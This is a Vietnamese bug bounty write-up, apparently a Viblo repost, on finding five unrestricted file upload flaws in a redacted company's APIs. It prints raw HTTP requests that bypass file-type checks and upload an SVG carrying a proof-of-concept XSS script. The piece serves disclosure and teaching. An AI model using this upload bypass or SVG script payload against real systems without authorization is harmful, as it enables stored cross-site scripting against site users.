0
0
Lập trình
Thaycacac
Thaycacac thaycacac

Hành Trình Tìm Kiếm Lỗi Bảo Mật: Cách Mình Phát Hiện 5 Lỗi Unrestricted File Upload Qua Các API

Đăng vào 1 tháng trước

• 5 phút đọc

Tóm Tắt

Chào các bạn! Lần này mình quay trở lại với một bài viết về hành trình bug bounty lần trước trên nền tảng Intigriti. Qua đó, mình đã may mắn phát hiện ra 5 lỗi Unrestricted File Upload ở nhiều API khác nhau trong cùng một hệ thống. Kết quả không chỉ là việc công ty sửa lỗi mà còn thay đổi quy định Out of Scope nhằm ngăn chặn những vấn đề tương tự trong tương lai. Cùng nhau, hãy ngồi lại và thưởng thức một ly cà phê để khám phá câu chuyện này nhé!


Hành Trình Tìm Lỗi – Kỳ Diệu Của Một Sự Phát Hiện

Phương châm của mình là:

Biết mình biết ta, trăm trận trăm thắng

Mình bắt đầu với việc nghiên cứu tất cả các chức năng của hệ thống, lập danh sách các tính năng và tạo ra một mô hình Threat Modeling đơn giản để tối ưu hóa thời gian tìm kiếm lỗi. Nếu các bạn quan tâm, hãy để lại comment để mình chia sẻ thêm về mô hình này nhé!

Bây giờ, mình sẽ bắt đầu tìm kiếm các lỗ hổng tiềm năng. Theo Threat Modeling, mình quyết định tập trung vào những lỗi cơ bản như XSS, SQL Injection, và Invalid Input. Trong lần tìm này, một lỗ hổng thú vị hiện ra trước mắt mình: Hệ thống đã không kiểm tra chặt chẽ loại file được tải lên, cho phép tải lên những file không hợp lệ như script thực thi và file độc hại.

Bước Đầu Tiên: Phát Hiện Endpoint Upload File

Mọi chuyện bắt đầu khi mình tìm thấy một endpoint cho phép upload file. Tuy nhiên, tại giao diện frontend, việc kiểm tra rất tốt, mà nếu thông tin không hợp lệ sẽ bị loại bỏ ngay lập tức. Còn với các trường hợp hợp lệ, hệ thống sẽ xử lý qua 2 request:

  1. Tải lên thông tin file với các thuộc tính như tên, id, địa chỉ upload. Điều kỳ lạ ở đây là mình có thể đổi tên file thành bất cứ gì mà vẫn được chấp nhận!

Request xác định thông tin file tải lên, nhằm đánh lừa server xác nhận file hợp lệ:

Copy
POST /imports HTTP/2
Host: api.redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer token
Tenantid: c361809d-7b15-4708-a78d-ae72c433b617
Content-Length: 322
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
X-Pwnfox-Color: blue
Priority: u=0
Te: trailers

{
  "id": "xxx",
  "tenantId": "xxx",
  "productModelId": "xxx",
  "name": "help.txt",
  "status": "DRAFT",
  "mode": "OVERWRITE",
  "mapping": [],
  "unknownColumns": [
    "Help"
  ],
  "logs": [],
  "adminLogs": [],
  "isNew": true,
  "file": {
    "path": "help.txt"
  },
  "fileUrl": ""
}
  1. Tại bước thứ hai, mình mới thực hiện tải file lên, và đây mới là lúc diễn ra hành trình bypass (thay đổi nội dung file và content-type...)

Request tải lên file không hợp lệ, ở đây mình thử tải lên file svg:

Copy
POST /imports/:id/file HTTP/2
Host: api.redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer token
Tenantid: c361809d-7b15-4708-a78d-ae72c433b617
Content-Type: multipart/form-data; boundary=---------------------------336158883539133996652781089354
Content-Length: 564
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
X-Pwnfox-Color: blue
Te: trailers

-----------------------------336158883539133996652781089354
Content-Disposition: form-data; name="file"; filename="help.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" >
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert("xss");
   </script>
</svg>
-----------------------------336158883539133996652781089354--

Và thật bất ngờ, mình đã thành công trong việc tải lên!

Thấy có dấu hiệu khả quan, mình quyết định mở rộng phạm vi kiểm tra:

  • Khám phá các API upload khác.
  • Áp dụng các kỹ thuật tương tự để thử tải file độc hại lên.
  • Kết quả? Bùm! Thêm 4 lỗi tương tự xuất hiện ở những API khác nhau!

Triage: Kỳ Báo Cáo Nhiều Đến Nỗi Công Ty Phải Thay Đổi Scope

Khi gửi báo cáo đầu tiên, mình nhận được phản hồi rất nhanh chóng, gần như không cần thêm thông tin gì:

Khi tự hào gửi báo cáo thứ hai và thứ ba, thông điệp phản hồi luôn là:

"Lại là một lỗi tương tự? Cảm ơn bạn rất nhiều vì đã giúp chúng tôi phát hiện ra vấn đề tại những endpoint khác."

Đến lúc này, mình bắt đầu cảm thấy như mình đang làm thử nghiệm cho nội bộ công ty. Và thực tế đã chứng minh được rằng công ty không chỉ diễn ra việc sửa lỗi, mà còn quyết định thay đổi quy định Out of Scope để ngăn chặn các lỗi tương tự xảy ra trong tương lai.


Out of Scope: Một Bước Đột Phá Trong Quá Trình Khó Khăn

Đối với nhiều người, việc một lỗ hổng được đưa vào Out of Scope có thể là một cơ hội mất mát. Nhưng đối với mình, đây lại là một khoảnh khắc tự hào. Tại sao vậy? Bởi vì điều đó phản ánh sự thay đổi tích cực trong quy định bảo mật của công ty, nhờ vào những nỗ lực của mình.


Bài Học Kinh Nghiệm

  1. Khám Phá Mọi Ngóc Ngách: Một lỗ hổng ở một endpoint có thể xuất hiện ở nhiều endpoint khác nhau. Hãy kiểm tra tất cả các khả năng!
  2. Đừng Ngại Gửi Nhiều Báo Cáo: Cứ gửi báo cáo khi bạn tìm thấy lỗi hợp lệ, vì bạn đang góp phần cải thiện bảo mật cho công ty.
  3. Giữ Bình Tĩnh: Đôi khi, điều quan trọng không chỉ là phần thưởng, mà còn là sự thỏa mãn khi bạn thấy mình đã đóng góp vào việc bảo vệ hệ thống.
  4. Có Kế Hoạch: Một kế hoạch rõ ràng giúp bạn có cái nhìn và hiểu đúng về hệ thống, từ đó tăng khả năng phát hiện lỗi.

Lời Cuối

Nếu bạn đã từng phát hiện những lỗi giống mình, đừng quên kiểm tra toàn diện tất cả các API liên quan. Một phát hiện nhỏ có thể mở ra một loạt lỗ hổng khác và tạo ra sự thay đổi lớn.

Hẹn gặp lại các bạn trong những hành trình bug bounty tiếp theo đầy thú vị! Cheers! 😎


Lời Cảm Ơn Đặc Biệt Đến Anh Giang (@testanull) Đã Giúp Đỡ Mình Trong Việc Chỉnh Sửa Bài Viết Này.
source: viblo

Gợi ý câu hỏi phỏng vấn
Không có dữ liệu

Không có dữ liệu

Bài viết được đề xuất
Bài viết cùng tác giả

Bình luận

Chưa có bình luận nào

Chưa có bình luận nào